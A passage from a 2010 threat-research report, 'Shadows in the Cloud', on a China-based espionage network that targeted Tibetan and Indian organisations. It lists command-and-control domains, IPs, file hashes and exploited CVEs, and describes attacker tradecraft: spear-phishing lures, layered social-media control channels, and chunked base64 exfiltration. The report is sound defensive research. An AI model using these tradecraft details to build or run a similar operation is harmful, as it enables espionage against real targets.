to elements within the People s Republic of China, our investigation concluded that there was not enough evidence to implicate the Chinese government itself and attribution behind GhostNet remains a mystery. The report s aftermath was a learning experience. The data that had been collected during the GhostNet investigation included sensitive information about compromised computers in over a hundred countries. Many of the victims were understandably concerned about which of their computers were targeted and compromised, and came to us for information. On our side, we felt unsure about the protocol around information sharing, and were in an awkward position to be able to give information over to governments and affected parties directly without being entirely clear about whom would be responsible and whether or not our interlocutors were appropriate authorities. The notification problems around Ghostnet informed our approach to the Shadows in the Cloud investigation, including being more conscious from the outset of documenting our notification procedures. The title of the report Shadows in the Cloud: An Investigation into Cyber Espionage 2.0 is suggestive of several threads that wind their way through the investigation. First, the malware networks we document and analyze are to a large degree organized and operated through the misuse of social networking and cloud computing platforms, including Google, Baidu, Yahoo!, and Twitter, in addition to traditional command and control servers. Second, although we are able to piece together circumstantial evidence that provides the location and possible associations of the attackers, their actual identities and motivations remain illusory. We catch a glimpse JR03-2010 Shadows in the Cloud - PART 1: BACKGROUND & CONTEXT of a shadow of attribution in the cloud, in other words, but have no positive identification. The 2.0 designation also contains a double entendre: it refers to a generational shift we believe is unfolding in malware networks in multiple dimensions, from what were once primarily simple to increasingly complex, adaptive systems spread across redundant services and platforms, and from criminal and industrial-based exploitation to political, military, and intelligence-focused espionage. The 2.0 reference is also meant to note how the Shadow investigation is both a re-engagement with, but also a departure from, its predecessor: the Tracking GhostNet investigation. This report is a continuation of Tracking GhostNet, but also represents a significantly new investigation yielding different and more nuanced evidence and analysis of the evolving cybercrime and cyber espionage environment. As with GhostNet, we are interested in better understanding the evolving nature and complex ecosystem of today s malware networks and see this investigation as helping to build a knowledge base around cyber security research. In this respect, Shadows in the Cloud is very much a work-in-progress, insofar as we began this investigation by picking up several threads that were left open-ended or unanswered in the original GhostNet investigation, and expect to continue to examine threads that are left hanging in this report. The aim of this present investigation is to further refine the methodologies used to investigate and analyze malware networks through a fusion methodology, which combines network-based technical interrogation, data analysis and visualization, and field-based contextual investigations (See Box 2, below). The combination of methods from different disciplines is a critical and common feature of both the GhostNet and Shadow investigations and analyses. Network-based technical interrogation, open source data mining and analysis (using tools such as Google), key informant interviews and field-based investigations on their own can accomplish a great deal, but it is through their fusion that a more comprehensive and nuanced understanding can be achieved. Box 2. Operationalizing the Fusion Methodology Over the past decade we have been developing a fusion methodology for investigating the exercise of political power in cyberspace. This approach combines quantitative, qualitative and technical data, and draws on multidisciplinary analysis techniques to derive results. In our field investigations, we conduct research among affected target audiences and employ techniques that include interviews, long-term in situ interaction with our partners, and technical data collection involving system monitoring, network reconnaissance, and interrogation. Data and in situ analysis from field investigations are then taken to the lab where they are analysed using a variety of data fusion and visualization methods, based around the Palantir data fusion system. Leads developed on the basis of in-field activities are pursued through technical investigations and the resulting data and analysis outputs are shared with our in-field teams and partners for verification and for generating additional entry points for follow-on field investigations. We then interpret results from these investigations through a variety of theoretical lenses drawing from disciplines of political science, international relations, sociology, risk analysis, and criminology (among others). We believe that through this mixed methods interdisciplinary approach we are able to develop a richer understanding than would be possible from studies that focus solely on technical analysis or that primarily consist of legal, policy or theoretical investigations. The Shadow investigation began as a follow-up of unexplored paths discovered during the GhostNet investigation. It started in the offices of Tibetan organizations who suspected they were targets of cyber espionage, and broadened to include a much wider list of victims. The investigation used a number of techniques, including a DNS sinkhole we established by registering domains that had previously been used by the attackers targeting Tibetan institutions, such as a computer system at the offices of the Dalai Lama. This reinforces our view that the combination of technical analysis and field investigation forms a fruitful starting point of inquiry that ultimately leads to important insights into the attackers capabilities, the ability to investigate a much wider domain of infected targets, and a contextual understanding of the attackers. JR03-2010 Shadows in the Cloud - PART 1: BACKGROUND & CONTEXT As was the case with GhostNet, dozens of high-level government networks, embassies, international organizations and others have been penetrated, and confidential, sensitive, and private documents stolen. The Shadows report underscores the interconnected and complex challenges of cyber security. In particular, it points to the possibility of a perfect storm that may result from a lack of international consensus, ill-developed and implemented security practices, a paucity of notification mechanisms, and the growing confluence of cyber crime, traditional espionage, and the militarization of cyberspace. About the Shadows in the Cloud Investigation: Beyond GhostNet The Tracking GhostNet report revealed a small piece of the underground cyber espionage world. After the report was published, several of the command and control servers listed in the report and part of the network went offline. However, targeted cyber attacks against Tibetan interests and various governments did not suddenly cease. The Shadowserver Foundation had also been looking into several similar cyber attacks both prior to and after the GhostNet report was published. Approximately six months after the report s publication, the Shadowserver Foundation and the Information Warfare Monitor began a collaborative effort to further investigate new and related attacks, as well as any remaining parts of GhostNet. Shadows in the Cloud thus departs from Tracking GhostNet in several ways. Research on cyber security is rapidly developing, and several groups with widely differing skill sets and experience are working on related areas. Information sharing, generally speaking, is immature and underdeveloped, often hampered by proprietary concerns surrounding the commercial market for cyber security services. Progress on research in this area will only stand to benefit from greater dialogue and information sharing among security researchers. Shadows in the Cloud was thus undertaken jointly by the Information Warfare Monitor, which itself is a collaborative engagement between a public and private institution, and the Shadowserver Foundation, which is an all-volunteer watchdog group of security professionals who gather, track and report on malware, botnet activity, and electronic fraud. The Information Warfare Monitor and the Shadowserver Foundation have several complementary resources and data sets. Combining efforts in this way contributed to a much greater pool of knowledge and expertise from which to draw strategic choices along each step of the investigation, and for overall analysis. Lastly, the information sharing that went into Shadows in the Cloud extended to the Office of His Holiness the Dalai Lama (OHHDL), the Tibetan Government in Exile (TGIE) and Tibetan non-governmental organizations. Information sharing among victims of network intrusions and espionage is rare. The Tibetan organizations were willing to provide access and share information with our investigation that proved to be invaluable. Shadows in the Cloud is also distinct from Tracking GhostNet in terms of the type of data unearthed during the course of the investigation. With GhostNet, while we were able to monitor the exfiltration of sensitive documents from computers to which we had field access, we were unable to otherwise determine which documents were stolen from victims that we had identified, and thus could only infer intentionality on the part of the attackers. In Shadows, we were able to recover a significant volume of stolen documents, some of which are highly sensitive, from a drop zone connected to one of the malware networks under observation. Although not unprecedented among cyber security research, access to stolen documents such as those which are analysed here offers a unique but partial insight into the type of information that can be leaked out of compromised computers. It may even help answer some lingering questions about the intentionality and attribution of the attackers, although that is not clear by any means. We pick up both of these threads in detail in our report below. JR03-2010 Shadows in the Cloud - PART 1: BACKGROUND & CONTEXT Research Framework Although the research that we engage in is investigatory, it is not simply a report of the facts per se. Our aim is to engage the cyber security research community by building upon prior research in a structured, focused manner through a systematic research framework. Several overarching research questions structure the Shadow investigation and our analysis. We outline these here, and pick up on them throughout our report. Observation and Characterization of the Ecosystem of Malware One of the aims of cyber security research is to observe and characterize the evolving nature and complex ecosystem of today s malware, botnets, cyber espionage and cyber crime networks. This is not a simple task, as the ecosystem of malware is very much like a complex adaptive system, only one that is dispersed across multiple ecosystems, operated by clandestine actors with potential criminal and/or espionage motivations who have shown a propensity to adapt their techniques to new software tools, social networking platforms and other technologies. Crimeware networks, which to some extent are the oldest and most widespread malware networks, target generalized population sets in a mostly undiscriminating fashion. Alongside crimeware networks, however, there are other networks that are more discriminating, often characterized by the use of custom-made software attacks, and which seek to exploit and infiltrate not random pools of victims but rather deliberately selected targets. Within each of these two major types of malware networks are likely many sub-types, including networks that specialize in distributed denial of service (DDoS) attacks. Confusing matters further is that toolkits and techniques used in one instance are borrowed from another, making classification difficult and increasingly questionable. Being able to map the ecosystem of malware, however, is critical for research, policy and operational matters, and so is one of the primary aims of our research in Shadows in the Cloud (Adair 2010). From Criminal Exploitation to Political Espionage? Cyber crime is as old as cyberspace itself, and criminal networks, as alluded to above, are longstanding characteristics of the dark side of the Internet. What is more novel is the use of criminal exploitation kits, techniques and networks for purposes of political espionage (Villeneuve 2010). Debates about whether or not governments are actively involved in cyber espionage and computer network exploitation, either through agencies they control directly or through some kind of privateering, now dominate the headlines and have become part of a growing politicization of the cyber security arena. One of the aims of our research is to discern to what extent we can impute motivations behind the attacks we document, to help understand whether in fact the networks under our observation are part of a criminal network, a political espionage network, an industrial espionage network, an opportunistic network, or some combination of these. Such questions, it should be pointed out, are entirely distinct (though not unrelated) to the question of attribution (i.e., who is responsible?). We hypothesize that political espionage networks may be deliberately exploiting criminal kits, techniques and networks both to distance themselves from attribution and strategically cultivate a climate of uncertainty. To answer these questions requires a high degree of nuance, as the information we have been able to obtain is incomplete, and so a great deal of our analysis rests on inferences made on the basis of multiple data sources and our fusion methodology (See Box 2, page 3). Collateral Compromise Organizations from around the world have moved swiftly to adopt new information and communication technologies, and have become part of electronically linked communities in the commercial, government, and JR03-2010 Shadows in the Cloud - PART 1: BACKGROUND & CONTEXT military sectors. They exchange information as a matter of routine, across social networking and cloud computing platforms, using flash drives and other portable devices, and thus become co-dependent on each others information and computer and network security practices. The vulnerabilities of one actor can quickly and unintentionally compromise unwitting third parties, which in turn can become the basis for actionable intelligence against those third parties. We hypothesize that there is a high probability for collateral compromise in any malware network because of this mutual dependence. A key consideration, of course, is how to discern intended from unintended victims, a problem that is difficult to solve. Actionable Intelligence around Exfiltrated Data Related to collateral compromise is the issue of the strategic value of exfiltrated data. Access to this data can offer important clues about the motivation and attribution of the attackers. It can also provide insight about the strategic value of the type of data that can be accessed through malware networks. In the course of our investigation, we assumed that we would get, at best, only a partial picture of the exfiltrated data, but even that partial picture would provide some potentially meaningful information for those who acquire it. While each individual data point may be of little value, when combined with other data acquired through other means (e.g., open source searching) a very detailed operational picture can be assembled. We try to assess and evaluate the exfiltrated data we were able to access with these issues in mind. Attribution Examining attribution is an arduous but important component of any cyber security investigation and has become a major political issue at the highest levels around several recent cyber attacks. In order to characterise the attackers, a variety of technical indicators as well as behavioural indicators need to be analysed (Parker et al. 2004; Parker et al. 2003). These characteristics are interpreted in the context of the nature of the targets and the objective of the attack. The nature and timing of the attack, the exploit, the malware, and the command and control infrastructure, are just some of the components that go into determining attribution. Knowing the methods and behaviour of the attackers as well as the character of the tools the attackers use once inside the target network, the data that the attackers exfiltrate and where that data goes, are also crucial parts of the overall assessment (Bejtlich 2010; Cloppert 2009; Mandiant 2010). Moreover, historical information and ongoing intelligence collection are crucial when trying to understand the scope of the threat (Deloitte & Touche LLP, 2010). It is difficult to assess attribution when examining an isolated attack; it is the broader patterns, connections and contextual information that inform the process. However, it is uncommon to have a complete data set covering all aspects of the attackers operations. Some may have access to data regarding the attackers activities once inside a particular network. Others may have extensive collections of malware samples and historical data on command and control infrastructure. Others may have information on how the attackers use various exploits, or craft targeted spear phishing emails and other methods focused on compromising particular targets. Others may have data retrieved from the attackers that indicate the identity of those who have been compromised. And finally still others may have the necessary geopolitical knowledge to interpret the attacks within a broader context. Often, investigations do not have the luxury of such a full data set and must rely on incomplete information and partial observations. Further complicating matters is that any of this information is often dependent on mistakes made by the attackers, which typically lead to slices of an overall network instead of a comprehensive view. Any questions concerning attribution must therefore always be set against a context of a complete consideration of alternative explanations and qualified observations. PART 2: Methodology and Investigative Techniques JR03-2010 Shadows in the Cloud - PART 2: METHODOLOGY & INVESTIGATIVE TECHNIQUES Methodology The core of the methodology employed in the Shadows in the Cloud investigation rests at the nexus of technical interrogation, field investigation, data analysis, and geopolitical, contextual research (See Box 2, page 3). No one method alone is capable of providing a comprehensive understanding of malware networks; it is through their combination that a complete picture is derived. For example, a technical analysis of exploits and malware used by attackers alone can provide a great deal of insight into capabilities and targets. The command and control servers used by the malware can be enumerated, and can sometimes reveal additional information that can be used to identify those who have been compromised and data that may have been exfiltrated from these targets. However, the technical analysis of exploits and malware samples alone only provides one crucial data set. Field research is a critical, although sometimes neglected, component of malware research. While much of the emphasis in existing malware research is focused on technical analysis of malware samples, this purely technical approach is unlikely to yield a complete picture. For example, through field research we have found compromised computers checking in with command and control servers that we have not seen in malware samples distributed by the attackers. There is some evidence to suggest that attackers may migrate compromised hosts to new command and control servers and/or command compromised computers to install new malware that is not publicly disseminated through spear phishing and other targeted malware attacks. The field research component can thus provide an equally important insight into the attackers capabilities once the target s network is compromised, as well as updated command and control locations. Moreover, it allows for the investigation of the context surrounding the the target and why the victims may have been targeted in the first place. Finally, the wider geopolitical considerations, derived from both field investigations and contextual research, place the collection of information in a broader context that supplies details around issues such as the timing of the attacks, the nature of the exploitation, including the use of any social engineering techniques, and potentially the identity and motivation of the attackers. We present our methodology in the following sequence field investigation first, followed by technical investigations. However, in practice the two are iterative processes. In some circumstances, field investigations begin first, followed by technical investigations, while in other cases the opposite is true. In this case, a technicalbased investigative technique (sinkhole analysis) is probably the closest to an actual starting point, although even that method was informed by prior knowledge derived from field and contextual research reaching back to the Tracking GhostNet report. In almost all circumstances, geopolitical and contextual research informs both the technical and field research components. In practice, therefore, fusion methodology is a holistic, non-linear approach, but one that takes place in a very structured and focused fashion. Field Investigation Our objective is to ultimately understand the capabilities and motivations of those engaged in targeted malware attacks. Field research provides critical insight into the methods and operations of the attackers. By analyzing computers at locations that are routinely targeted by (similar) attackers, we aim to identify portions of command and control infrastructure that the attackers use for particular targets as well as document the type of data that the attackers exfiltrate from the targets. However, our research aims to be more than just extracting information from those who have been compromised. JR03-2010 Shadows in the Cloud - PART 2: METHODOLOGY & INVESTIGATIVE TECHNIQUES The Tracking GhostNet investigation revealed significant compromises at Tibetan-exile and Indian targets. It was also found that Indian government related entities, both in India proper and throughout the world, had been thoroughly compromised. These included computers at Indian embassies in Belgium, Serbia, Germany, Italy, Kuwait, the United States, Zimbabwe, and the High Commissions of India in Cyprus and the United Kingdom. During the GhostNet investigation we had discovered evidence of multiple infections for which the information available was incomplete, and to which we wanted to return for follow up. In particular, we found one piece of malware uploading sensitive documents. Another report published soon after Tracking GhostNet, entitled The Gh0st in the Shell: Network Security in the Himalayas, analysed the network traffic of Air Jaldi, a community WiFi network in Dharamsala, India. It found that computers in Dharamsala were connecting with two of the control servers documented in our report (Vallentin et al. 2009). With the aim of focusing on both these wider pattern of compromises, and the hanging threads from the previous investigation, we worked with our existing approach, informed by the view that collecting data as close to the intended target as possible was likely to yield actionable evidence of breaches that could be followed through to their source, lead to wider pools of target sets, and yield information on the attackers. In conducting the field research we were influenced by the Action Research (AR) literature (Lewin 1946; Curle 1947) that has evolved since the 1940s, as well as other field-based investigation and research techniques. The AR field-based approach feeds into the fusion methodology that guides our overall investigatory process. It employs ethical and participatory observations and structured focused interviews. We combined this grounded research with technical interrogation, including network monitoring activities. As with GhostNet, we were fortunate to have the cooperation of Tibetan organizations, and benefited tremendously from the willingness of His Holiness the Dalai Lama and other Tibetans to share information with our investigators. As a result, for the Shadow investigation we conducted primary field research in Dharamsala, India from August until December 2009. (Dharamsala is the location of the OHHDL as well as the TGIE). The primary objectives of the field investigations were to research the wider patterns of compromised Indian and Tibetan related targets, investigate the reports of targeted malware attacks that have emerged from the Tibetan community, and raise information and computer security awareness within the Tibetan community and assist in their security planning and implementation. Throughout the field investigation process, we also investigated the broader social, political, military, and intelligence context. We conducted extensive on-site interviews with officials in the Tibetan Government-in-Exile, the Office of the Dalai Lama and Tibetan NGOs. These interviews allowed us to gain an understanding of the security practices and network infrastructure of compromised locations. We also used network monitoring software during field investigations in order to collect technical data from compromised computer systems and perform an initial analysis to confirm the existence of malware and the transfer of information between compromised computers and command and control servers. The network monitoring tools allowed us to collect samples from compromised computers and identify command and control servers used by the attackers. The network monitoring was undertaken with the explicit consent of the Tibetan organizations. While monitoring the network traffic of a local NGO, Common Ground, as part of an Internet security audit, traffic from a local WiFi mesh network, TennorNet was also captured, revealing malicious activity. An anomaly was detected when analyzing this traffic: computers in Dharamsala were beaconing or checking in with a command and control server (jdusnemsaz.com/119.84.4.43) located in Chongqing, PRC. The location of Chongqing is contextually interesting as it has a high concentration of Triads well known Asian-based organized criminal networks who have significant connections to the Chinese government and the Chinese Communist Party (Lam 2009). The Triads have extended their traditional criminal activities to include technology-enabled crime JR03-2010 Shadows in the Cloud - PART 2: METHODOLOGY & INVESTIGATIVE TECHNIQUES such as computer software piracy and credit card forgery and fraud (Choo 2008). An investigation revealed that the computer on TennorNet generating the malicious traffic belonged to Mr. Serta Tsultrim, a Tibetan Member of Parliament, editor of of the weekly Tibetan language newspaper Tibet Express and the director of the Khawa Karpo Tibet Culture Centre. Tsultrim is also the coordinator of the Association of Tibetan Journalists (ATJ). We probed for his threat perception, and who he felt might be targeting him and why. We sought to establish his perception of what documents and correspondence might be particularly sensitive. Tsultrim was particularly concerned about this network being compromised. Following the discovery of this compromise, we approached the OHHDL and formally requested permission to audit network traffic to determine whether we could identify similar beacon packets associated with the command and control server (jdusnemsaz.com/119.84.4.43). A representative of OHHDL agreed that we could access the office network under an agreement similar to the initial GhostNet investigation. In consultation with OHHDL staff, we focused our attention on the desktop machines that were most likely to be compromised, and commenced a network tap of a number of workstations. Interestingly, it was one of these workstations that was the origin of the GhostNet investigation, where we had observed sensitive documents being exfiltrated in September 2008. Almost immediately we identified malicious traffic connecting with the command and control server (jdusnemsaz.com/119.84.4.43). Our next step was to refer to the management interface in the ICSA-certified Cyberoam firewall that the OHHDL had installed in their network as part of their extensive upgrading of security procedures in the wake of the GhostNet breach. We isolated all outbound traffic to the command and control server and identified any other machines on the office Local Area Network that were currently, or had recently, been communicating with the command and control server. From the Cyberoam interface we were able to identify one other machine that was compromised. We proceeded to tap the traffic from this machine and began to see domain names associated with the distributed social media command and control channels that we would later identify in the lab as part of the command and control infrastructure. Similarly, the lab investigation was able to reconstruct the documents that were exfiltrated from OHHDL machines and we were able to brief OHHDL on the extent of the breach. Technical Investigative Activities Our technical investigation was comprised of several interrelated components: DNS Sinkholing - Through registering expired domain names previously used in cyber espionage attacks as command and control servers, we were are able to observe incoming connections from still-compromised computers. This allowed us to collect information on the methods of the attackers as well as the nature of the victims. Malware Analysis - We collected malware samples from a variety of attacks that allowed us to determine the exploits the attackers used, the theme used to lure targets into executing the malware, as well as the command and control servers used by the attackers. We also analysed additional malware found on servers under the control of the attackers. Malware samples consisted primarily of the files with the PDF, DOC, PPT and EXE file extensions. Command and Control Server Topography - We were able to map out the command and control infrastructure of the attackers by linking information from the sinkhole, the field investigations and the malware analysis. We collected the domain names, URL paths and IP addresses used by the attackers. This allowed us to find links between our research and other command and control servers observed in other attacks in prior research. JR03-2010 Shadows in the Cloud - PART 2: METHODOLOGY & INVESTIGATIVE TECHNIQUES Victim Identification - We were able to identify victims that the attackers had compromised by analyzing sinkhole server connections, recovering documents that had been exfiltrated, and viewing control panels used by the attackers to direct the compromised computers. Data Recovery - We were able to retrieve documents that had been sent to drop zones from victim systems and stolen by the attackers. We carried out this research carefully, guided by principles rooted in the computer security field (Burstein 2008; Cooke et al. 2005; Stone-Gross et al. 2009; Smith and Toppel 2009). Our aim was to understand and document the activities of the attackers as well as gather enough information to enable notification of those who had been compromised. The principles that guided our field and technical investigations include the following: We collected network data in the field from computers that had been compromised by malware with the consent of the owners of the computers. We monitored command and control infrastructure and recovered exfiltrated data in order to gather enough information to understand the activities of the attackers and obtain enough information to enable notification of the victims before moving to notify the service providers and hosting companies to seek to have the networks shut down. We worked with government authorities in multiple jurisdictions to notify those who had been compromised and to take down the attacker s command and control infrastructure. We were careful to store and handle all of the data we collected in a secure manner. PART 3: Mapping the Shadows in the Cloud JR03-2010 Shadows in the Cloud - PART 3: MAPPING THE SHADOWS IN THE CLOUD In order for us to begin to map the Shadows in the Cloud, it was important for us to have clear starting points. The first and easiest starting point that we identified was to look back at what was related to and still operational from the previous Tracking GhostNet report. We focused primarily on the domains described in GhostNet and set out to see what we could learn from them in their current state. The second was to continue collecting and analyzing information on attacks gleaned from field research and reports that were shared with us by thirdparties. Each of these starting points branched off from one another and crossed paths in various ways, revealing at least two distinct cyber espionage networks. We previously mentioned that a large portion of the domain names mentioned in Tracking GhostNet went offline following the initial report. As a result, several of the domain names described in it were abandoned. The domains ultimately expired and were available for re-registration. This gave us the opportunity to take over these domains and monitor any connections that might come to them. Doing this allowed us to see connections from victims that were still infected, and learn more about how the command and control server was configured. The Shadowserver Foundation has utilized this technique for a long time (Higgins 2008). The investigation was broadened further when field research by the Information Warfare Monitor crossed paths with research being done by the Shadowserver Foundation. The field research revealed that a computer system in the OHHDL had been compromised by at least two different types of malware associated with targeted malware intrusions. Based on our understanding of the malware, the domains and on-going research, we assess that this compromise also involved at least two different cyber espionage groups and potentially even a third one. Analysis of several malware components and their associated command and control servers ultimately led to the discovery of an accessible drop zone for documents being siphoned off compromised systems. The attackers command and control infrastructure is a critical component of maintaining persistent access to compromised computers. Through this infrastructure, the attackers issue commands to the compromised machines as well as exfiltrate data to drop zones or to the command and control servers themselves. By carefully examining the relationships between command and control servers we were able to map out the extent of one such network and link it with other similar malware networks. This report focuses on only one of these networks, one that we have named the Shadow network. This is a complex network that leveraged social networking websites, webmail providers, free hosting providers and services from some of the largest companies on the Internet as disposable command and control locations. The first layer of control used blogs, newsgroups, and social networking services to maintain persistent control as these system are unlikely to be detected as malicious. As compromised computers accessed these services, they received another command and control location, often located on free web hosting providers. The command and control servers on the free hosting services are often disabled over time most likely due to reports of malicious activity. When the command and control servers on free web hosting services were disabled, the compromised systems would receive commands from the social networking layer and then beacon (i.e., attempt a connection) to a more stable inner core of dedicated systems located in the PRC. Unlike the command and control servers on free web hosting services, these dedicated servers hosted in the PRC have proven to be quite stable over time. JR03-2010 Shadows in the Cloud - PART 3: MAPPING THE SHADOWS IN THE CLOUD Analysis of Data while in the Field During the field investigation we collected samples of network traffic from computers at the OHHDL and other Tibetan-related locations. Inspection of network traffic from these computers revealed that at least three of them were compromised and were communicating with the same set of command and control servers. The traffic analysis revealed that these systems were all connecting to the domain jdusnemsaz.com. At the time it resolved to the IP address 119.84.4.43, which is assigned to China Telecom in the province of Chongqing, PRC. The commands sent by the command and control server were identical to malware we found at the Tibetan NGO Drewla and the OHHDL during our GhostNet investigation a year earlier, although were not part of the network that was described in that initial report. There is a similarity between the commands sent by the command and control server jdusnemsaz.com and a previously identified control server, lookbytheway.net. In both cases, the network traffic captured from the compromised computers revealed that the malware was exfiltrating sensitive documents. Table 1: Command and Control: Similarities with previous attacks OHHDL (T) Nov 2009 OHHDL (D) Nov 2009 TIBETAN MP Oct 2009 Drewla Sep 2008 jdusnemsaz.com 119.84.4.43 jdusnemsaz.com 119.84.4.43 jdusnemsaz.com 119.84.4.43 lookbytheway.net 221.5.250.98 /two/zq2009/index.php NQueryFileop /two/zq2009/index.php NQueryFileop /two/zq2009/index.php NQueryFileop /cgi-bin/NQueryFileop NQueryFileop Further analysis of the network traffic also revealed that at least one of the systems was infected with additional malware not associated with the aforementioned command and control servers. The system was attempting DNS resolutions of multiple hostnames. Two of the hostnames resolved to IP addresses but were not available when the system attempted to communicate to them. The other hostname did not resolve at all. The failed DNS resolution was for www.assam2008.net, which is a domain that has been used by a different group of attackers in the past in conjunction with the Enfal trojan, and suggests a limited connection between the current malware under investigation and malware used in previous attacks on other targets. This domain name was available for registration and was added to our ongoing sinkhole project. While recording network traffic in the field, we observed the attackers removing two senstive documents from the OHHDL (see fig. 1, page 15). The data was compressed using CAB, split into 100kb chunks when necessary, encoded with base64, and then uploaded to a command and control server. In this case, data was being uploaded to c2etejs.com, which is hosted on the same IP address (119.84.4.43) as jdusnemsaz.com. We reconstructed the documents that were exfiltrated from the OHHDL: letters - current.doc and letters - master 2009.doc (see fig. 2, page 15). The documents contained over 1,500 letters sent from the Dalai Lama s office between January and November 2009. While many of the letters are perfunctory responses to various invitations and interview requests they allow the attackers to collect information on anyone contacting the Dalai Lama office. Moreover, there are some communications contained within these documents that could be considered sensitive, such as communications between the OHHDL and Offices of Tibet around the world. Some communications contain generic information of the Dalai Lama s travelling details including schedule of appearances but very little that could not be established through open sources and publicly available information on the internet. JR03-2010 Shadows in the Cloud - PART 3: MAPPING THE SHADOWS IN THE CLOUD Figure 1: A screen capture of a sensitive document being uploaded to a command and control server. Figure 2: The Word Documents Exfiltrated from the OHHDL JR03-2010 Shadows in the Cloud - PART 3: MAPPING THE SHADOWS IN THE CLOUD Technical Investigation During the technical investigation we examined the data collected from the field, third-party sources, and from our DNS sinkhole project in order to determine the attack vectors used to exploit and compromise the victims. While we were unable to determine how any one individual computer came to be compromised, we documented a variety of exploits used by the attackers. We mapped out the broader command and control infrastructure by discovering new pieces of malware located on servers that we identified, and catalogued any new servers that these instances of malware were configured with. We also looked at domains that were co-hosted on the same servers we had already identified, and used searches to identify Twitter, Google Groups, Blogspot, Baidu Blogs, blog.com, and Yahoo! Mail accounts that were misused by the attackers to update compromised computers with new command and control locations. We also discovered a panel or listing of compromised computers. During our investigation into one of the servers we made a significant discovery: we were able to recover data that was being exfiltrated by the attackers from compromised computers. These documents were only available on the command and control server for a short time after being uploaded by the compromised systems, as the attackers frequently removed them at irregular time intervals. 3.2.1 Attack Vectors / Malware Victims of cyber espionage are often specifically targeted by the attacker and not by happenstance. While it is possible for a cyber criminal to mass-distribute malware across the Internet with specific intent to compromise a select set of individuals or organizations, it is not likely to be the most effective tool for the intended job. The differences in approaches, based on an analysis of tools and kits, can therefore provide some insight into the branching of cyber espionage from cyber crime, or at least help distinguish more connected attackers from less connected ones. The varying levels of sophistication in tools, research and delivery set these actors apart, can make them more or less effective, and establish their level of connection within the underground community. A very sophisticated attacker, for example, will likely be part of a network in the criminal underground that has access to the latest exploits and kits that generate files with exploits to install their malicious payload. These kits and files are not readily available to the average cyber criminal. A slightly less sophisticated attacker might have access to the same kits and exploits once the vulnerability has been publicly disclosed, but prior to there being a security patch issued for them. While from time to time various methods of generating malicious PDFs and other document types will appear on websites like the Metasploit (www.metasploit.com) and milw0rm (www.milw0rm.com), the vast majority of these exploits and kits are not available publicly. The ability to successfully compromise a target relies on more than just code designed to exploit vulnerabilities in software it requires exploiting the human element as well (Nolan and Levesque 2005). The digital traces individuals leave behind on the Internet can be used to manipulate trust, and are used by attackers to encourage targets to execute malicious code on their systems. The first phase of a targeted attack usually involves an information acquisition phase, in which information on potential targets is compiled from a variety of public sources, including social and professional networking sites, conference proceedings, academic papers and project information, in order to generate a profile of the target (Smith and Toppel 2009). Targeted malware attacks often leverage publicly available information to make their social engineering attempts more plausible. Individuals are much more likely to become victims of targeted attacks if malware is sent to them from what appears to be an acquaintance or a colleague (Jagatic et al. 2007). Targeted malware attacks are, in many cases, personalised at the individual or organizational level. Moreover, an attacker may leverage the credentials of a previously compromised acquaintance to add increased levels of legitimacy to the attack. As a result, the attackers are able to convince the target into executing malicious code on their own computer, thus JR03-2010 Shadows in the Cloud - PART 3: MAPPING THE SHADOWS IN THE CLOUD resulting in the attackers gaining full control. Typically, a user receives an email, possibly appearing to be from someone that they know who is a real person within his or her organization, with some text sometimes specific, sometimes generic that urges the user to open an attachment (or visit a web site), usually a PDF or Microsoft Office document (e.g., DOC, PPT, XLS and others). These attacks may be spoofed or even come from the real email account of someone else who has fallen victim to a similar attack, in what can be called a man-in-the-mailbox attack (Markoff and Barboza 2010). If the user opens the attachment with a vulnerable version of Adobe Reader or Microsoft Office (other types of software are also being exploited) and no other mitigations are in place, their computer will likely be compromised (F-Secure 2010). A clean version of the document is typically embedded in the malicious file and is opened upon successful exploitation, so as not to arouse suspicion of the recipient. What is done next is then only limited to the imagination and abilities of the attacker. In a recent report, Symantec s Message Labs revealed that the bulk of the targeted email attacks that they have studied originates from the PRC (28.2%), Romania (21.1%) and the United States (13.8%). Leveraging business-related information or popular topics in the news, the attackers largely target those with a a high or medium ranking seniority within an organization. The most freguently targeted individuals include defence policy experts, diplomatic missions, and human rights activists and researchers (Symantec 2010). The antivirus detection for these documents is usually relatively low, and if the exploit is a 0day an exploit for which there is no fix from the vendor available the chances of compromise are very good. In the attacks documented in this report, the user s computer checks in with a command and control server after it is compromised. Our attackers used free services from various providers to instruct infected systems to beacon to new command and control servers that were setup and fully managed by them. This check-in or beaconing activity is conducted using an HTTP connection and blends in with normal web traffic. When beaconing the compromised computer sends some information, usually its IP address and operating system information, and receives a command which it then executes. At this point the attacker has full control of the user s system. The attacker can steal documents, email and send other data, or force the compromised computer to download additional malware and possibly use the infected computer as a mechanism to exploit the victim s contacts or other computers on the target network. In our examination of the network, it appeared systems were most frequently instructed to upload documents and download additional executables. 3.2.2 Malicious Documents and Command and Controls While we only have limited insight into the motivations and methods of the attackers, we believe they infected victims primarily via email using social engineering techniques to convince their victims to open malicious file attachments, as described above. The people behind the Shadow attacks used a variety of exploits and filetypes to compromise their victims. We observed the group using PDF, PPT, and DOC file formats to exploit Adobe Acrobat and Acrobat Reader, Microsoft Word 2003 and Microsoft PowerPoint 2003. The themes of their attacks appear to involve topics that would likely be of interest to the Indian and Tibetan communities. This can be observed through the file names of the malicious exploit files, as well as looking at the clean or non-malicious files they then open after exploitation. We were able to obtain dozens of exploit files that were used by the attackers when targeting their victims. The Microsoft Word 2003 and PowerPoint 2003 files were mostly older exploits, which have been circulating in the underground hacker community for some time. The PDF files, on the other hand, took advantage of much more recent exploits at the time of their use. We observed them using PDF files that exploited CVEs 2009-0927, JR03-2010 Shadows in the Cloud - PART 3: MAPPING THE SHADOWS IN THE CLOUD 2009-2990, and 2009-4324 within a few weeks or months of the vulnerability being first patched. Our research did not reveal them using exploits that were 0day at the time, but we only have limited insight into their attacks and may have easily not been privy to information from such attacks at the time. It is also worth noting that the exploits they used in their attacks are not generated from freely available tools or publicly posted exploit code. Our attacks appear to have some level of access to PPT, DOC, and PDF exploit generation kits that allow them to create exploit files on the fly that install their malware. Table 2 below is a sampling of each of the malicious document file formats that we observed and analyzed that were used by these attackers in targeted attacks. Table 2: Malicious Document File Formats Date 2009-08-11 Filename Sino-India_Border.ppt File Type Target Microsoft PowerPoint 2003 c35b3ea71370cb5bfe2b523c17705ecb C2 (initial) Stage 1: http://groups.google.com/group/estolide/feed/rss_v2_0_msgs.xml C2 (cmd) Stage 2: http://www.idefesvn.com/test/ieupdate.php Date 2010-01-08 Filename Schedule2010_of_HHDL.pdf File Type Targeted Adobe Acrobat/Reader (CVE-2009-0927) dfc76b1f94ec13cbd8ae3b3371f23841 C2 (initial) Stage 1: 